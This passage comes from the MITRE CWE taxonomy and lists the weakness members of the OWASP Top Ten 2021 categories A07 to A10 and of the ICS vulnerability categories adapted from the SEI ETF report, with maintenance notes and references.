HasMember		307	Improper Restriction of Excessive Authentication Attempts	1344	709
HasMember		346	Origin Validation Error	1344	808
HasMember		384	Session Fixation	1344	887
HasMember		521	Weak Password Requirements	1344	1154
HasMember		613	Insufficient Session Expiration	1344	1291
HasMember		620	Unverified Password Change	1344	1301
HasMember		640	Weak Password Recovery Mechanism for Forgotten Password	1344	1326
HasMember		798	Use of Hard-coded Credentials	1344	1573
HasMember		940	Improper Verification of Source of a Communication Channel	1344	1712
HasMember		1216	Lockout Mechanism Errors	1344	2271

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

## References

[REF-1213]"A07:2021 - Identification and Authentication Failures". 2021 September 4. OWASP. < [https://owasp.org/Top10/A07\\_2021-Identification\\_and\\_Authentication\\_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.








## Category-1354: OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures

Category ID : 1354

## Summary

Weaknesses in this category are related to the A08 category "Software and Data Integrity Failures" in the OWASP Top Ten 2021.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf		1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember		345	Insufficient Verification of Data Authenticity	1344	805
HasMember		353	Missing Support for Integrity Check	1344	828
HasMember		426	Untrusted Search Path	1344	972
HasMember		494	Download of Code Without Integrity Check	1344	1119
HasMember		502	Deserialization of Untrusted Data	1344	1137
HasMember		565	Reliance on Cookies without Validation and Integrity Checking	1344	1209

Nature	Type	ID	Name	V	Page
HasMember	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1344	1539
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	1344	1621
HasMember	V	830	Inclusion of Web Functionality from an Untrusted Source	1344	1627
HasMember	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1344	1684

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1214]"A08:2021 - Software and Data Integrity Failures". 2021 September 4. OWASP. < [https://owasp.org/Top10/A08\\_2021-Software\\_and\\_Data\\_Integrity\\_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1355: OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures

Category ID : 1355

### Summary

Weaknesses in this category are related to the A09 category "Security Logging and Monitoring Failures" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	B	117	Improper Output Neutralization for Logs	1344	279
HasMember	B	223	Omission of Security-relevant Information	1344	533
HasMember	B	532	Insertion of Sensitive Information into Log File	1344	1171
HasMember	B	778	Insufficient Logging	1344	1525

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1215]"A09:2021 - Security Logging and Monitoring Failures". 2021 September 4. OWASP. < [https://owasp.org/Top10/A09\\_2021-Security\\_Logging\\_and\\_Monitoring\\_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1356: OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF)

Category ID : 1356

### Summary

Weaknesses in this category are related to the A10 category "Server-Side Request Forgery (SSRF)" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	B	918	Server-Side Request Forgery (SSRF)	1344	1694

### Notes

#### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1216]"A10:2021 - Server-Side Request Forgery (SSRF)". 2021 September 4. OWASP. < [https://owasp.org/Top10/A10\\_2021-Server-Side\\_Request\\_Forgery\\_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1359: ICS Communications

Category ID : 1359

### Summary

Weaknesses in this category are related to the "ICS Communications" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1358	Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS	1358	2356
HasMember	C	1364	ICS Communications: Zone Boundary Failures	1358	2294
HasMember	C	1365	ICS Communications: Unreliability	1358	2294
HasMember	C	1366	ICS Communications: Frail Security in Protocols	1358	2295

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there

may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1360: ICS Dependencies (& Architecture)

Category ID : 1360

### Summary

Weaknesses in this category are related to the "ICS Dependencies (& Architecture)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1358	Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS	1358	2356
HasMember	C	1367	ICS Dependencies (& Architecture): External Physical Systems	1358	2296
HasMember	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1361: ICS Supply Chain

Category ID : 1361

### Summary

Weaknesses in this category are related to the "ICS Supply Chain" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1358	Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS	1358	2356
HasMember	C	1369	ICS Supply Chain: IT/OT Convergence/Expansion	1358	2298
HasMember	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2298
HasMember	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2299
HasMember	C	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption	1358	2300

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1362: ICS Engineering (Constructions/Deployment)

Category ID : 1362

## Summary

Weaknesses in this category are related to the "ICS Engineering (Constructions/Deployment)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1358	Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS	1358	2356
HasMember	C	1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2301
HasMember	C	1374	ICS Engineering (Construction/Deployment): Maker Breaker Blindness	1358	2301
HasMember	C	1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2302
HasMember	C	1376	ICS Engineering (Construction/Deployment): Security Gaps in Commissioning	1358	2303
HasMember	C	1377	ICS Engineering (Construction/Deployment): Inherent Predictability in Design	1358	2304



## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1363: ICS Operations (& Maintenance)

Category ID : 1363

## Summary

Weaknesses in this category are related to the "ICS Operations (& Maintenance)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1358	Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS	1358	2356
HasMember	C	1378	ICS Operations (& Maintenance): Gaps in obligations and training	1358	2304
HasMember	C	1379	ICS Operations (& Maintenance): Human factors in ICS environments	1358	2305
HasMember	C	1380	ICS Operations (& Maintenance): Post-analysis changes	1358	2306
HasMember	C	1381	ICS Operations (& Maintenance): Exploitable Standard Operational Procedures	1358	2307
HasMember	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308
HasMember	C	1383	ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements	1358	2308

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC



ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.





## Category-1364: ICS Communications: Zone Boundary Failures

Category ID : 1364

### Summary

Weaknesses in this category are related to the "Zone Boundary Failures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Within an ICS system, for traffic that crosses through network zone boundaries, vulnerabilities arise when those boundaries were designed for safety or other purposes but are being repurposed for security." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1359	ICS Communications	1358	2290
HasMember		668	Exposure of Resource to Wrong Sphere	1358	1380
HasMember		669	Incorrect Resource Transfer Between Spheres	1358	1383
HasMember		754	Improper Check for Unusual or Exceptional Conditions	1358	1460

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1365: ICS Communications: Unreliability

Category ID : 1365

### Summary

2294

Weaknesses in this category are related to the "Unreliability" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise in reaction to disruptions in the physical layer (e.g. creating electrical noise) used to carry the traffic." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1359	ICS Communications	1358	2290
HasMember	G	1384	Improper Handling of Physical or Environmental Conditions	1358	2078

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1258]Wikipedia. "Random early detection". < [https://en.wikipedia.org/wiki/Random\\_early\\_detection](https://en.wikipedia.org/wiki/Random_early_detection) >.

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1366: ICS Communications: Frail Security in Protocols

Category ID : 1366

### Summary

Weaknesses in this category are related to the "Frail Security in Protocols" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise as a result of mis-implementation or incomplete implementation of security in ICS implementations of communication protocols." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1359	ICS Communications	1358	2290
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	1358	758
HasMember	B	358	Improperly Implemented Security Check for Standard	1358	834

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1259]Wikipedia. "Transport Layer Security". < [https://en.wikipedia.org/wiki/Transport\\_Layer\\_Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) >.

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.






## Category-1367: ICS Dependencies (& Architecture): External Physical Systems

Category ID : 1367

### Summary

Weaknesses in this category are related to the "External Physical Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another physical system could cause an availability interruption for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1360	ICS Dependencies (& Architecture)	1358	2291
HasMember		1247	Improper Protection Against Voltage and Clock Glitches	1358	1886
HasMember		1338	Improper Protections Against Hardware Overheating	1358	2062
HasMember		1357	Reliance on Insufficiently Trustworthy Component	1358	2076
HasMember		1384	Improper Handling of Physical or Environmental Conditions	1358	2078

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1368: ICS Dependencies (& Architecture): External Digital Systems

Category ID : 1368

### Summary

Weaknesses in this category are related to the "External Digital Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another digital system could cause a confidentiality, integrity, or availability incident for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1360	ICS Dependencies (& Architecture)	1358	2291
HasMember	B	15	External Control of System or Configuration Setting	1358	17
HasMember	B	440	Expected Behavior Violation	1358	1004
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1358	1057
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere	1358	1285
HasMember	G	638	Not Using Complete Mediation	1358	1322
HasMember	G	1059	Insufficient Technical Documentation	1358	1759
HasMember	B	1068	Inconsistency Between Implementation and Documented Design	1358	1769
HasMember	B	1104	Use of Unmaintained Third Party Components	1358	1803
HasMember	B	1329	Reliance on Component That is Not Updateable	1358	2043
HasMember	G	1357	Reliance on Insufficiently Trustworthy Component	1358	2076

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1369: ICS Supply Chain: IT/OT Convergence/Expansion

Category ID : 1369

### Summary

Weaknesses in this category are related to the "IT/OT Convergence/Expansion" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The increased penetration of DER devices and smart loads make emerging ICS networks more like IT networks and thus susceptible to vulnerabilities similar to those of IT networks." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1361	ICS Supply Chain	1358	2291
HasMember	PI	284	Improper Access Control	1358	644
HasMember	C	636	Not Failing Securely ('Failing Open')	1358	1318

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1370: ICS Supply Chain: Common Mode Frailties

Category ID : 1370

### Summary

Weaknesses in this category are related to the "Common Mode Frailties" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "At the component level, most ICS systems are assembled from common parts made by other companies. One or more of these common parts might contain a vulnerability that could result in a wide-spread incident." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

2298

Nature	Type	ID	Name	V	Page
MemberOf	C	1361	ICS Supply Chain	1358	2291
HasMember	V	329	Generation of Predictable IV with CBC Mode	1358	769
HasMember	P	693	Protection Mechanism Failure	1358	1422
HasMember	G	1357	Reliance on Insufficiently Trustworthy Component	1358	2076

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1260]Thu T. Pham. "The Great DNS Vulnerability of 2008 by Dan Kaminsky". 2016 April 6. < <https://duo.com/blog/the-great-dns-vulnerability-of-2008-by-dan-kaminsky> >.

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1371: ICS Supply Chain: Poorly Documented or Undocumented Features

Category ID : 1371

## Summary

Weaknesses in this category are related to the "Poorly Documented or Undocumented Features" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Undocumented capabilities and configurations pose a risk by not having a clear understanding of what the device is specifically supposed to do and only do. Therefore possibly opening up the attack surface and vulnerabilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1361	ICS Supply Chain	1358	2291
HasMember	B	489	Active Debug Code	1358	1106
HasMember	G	912	Hidden Functionality	1358	1680
HasMember	G	1059	Insufficient Technical Documentation	1358	1759
HasMember	B	1242	Inclusion of Undocumented Features or Chicken Bits	1358	1876

## Notes

### Relationship



Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1372: ICS Supply Chain: OT Counterfeit and Malicious Corruption

Category ID : 1372

### Summary

Weaknesses in this category are related to the "OT Counterfeit and Malicious Corruption" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "In ICS, when this procurement process results in a vulnerability or component damage, it can have grid impacts or cause physical harm." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1361	ICS Supply Chain	1358	2291
HasMember	C	1198	Privilege Separation and Access Control Issues	1358	2263
HasMember	B	1231	Improper Prevention of Lock Bit Modification	1358	1855
HasMember	B	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	1358	1859
HasMember	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1358	1955

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there



may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1373: ICS Engineering (Construction/Deployment): Trust Model Problems

Category ID : 1373

### Summary

Weaknesses in this category are related to the "Trust Model Problems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Assumptions made about the user during the design or construction phase may result in vulnerabilities after the system is installed if the user operates it using a different security approach or process than what was designed or built." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1362	ICS Engineering (Constructions/Deployment)	1358	2292
HasMember	G	269	Improper Privilege Management	1358	613
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	1358	815
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	1358	1595

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

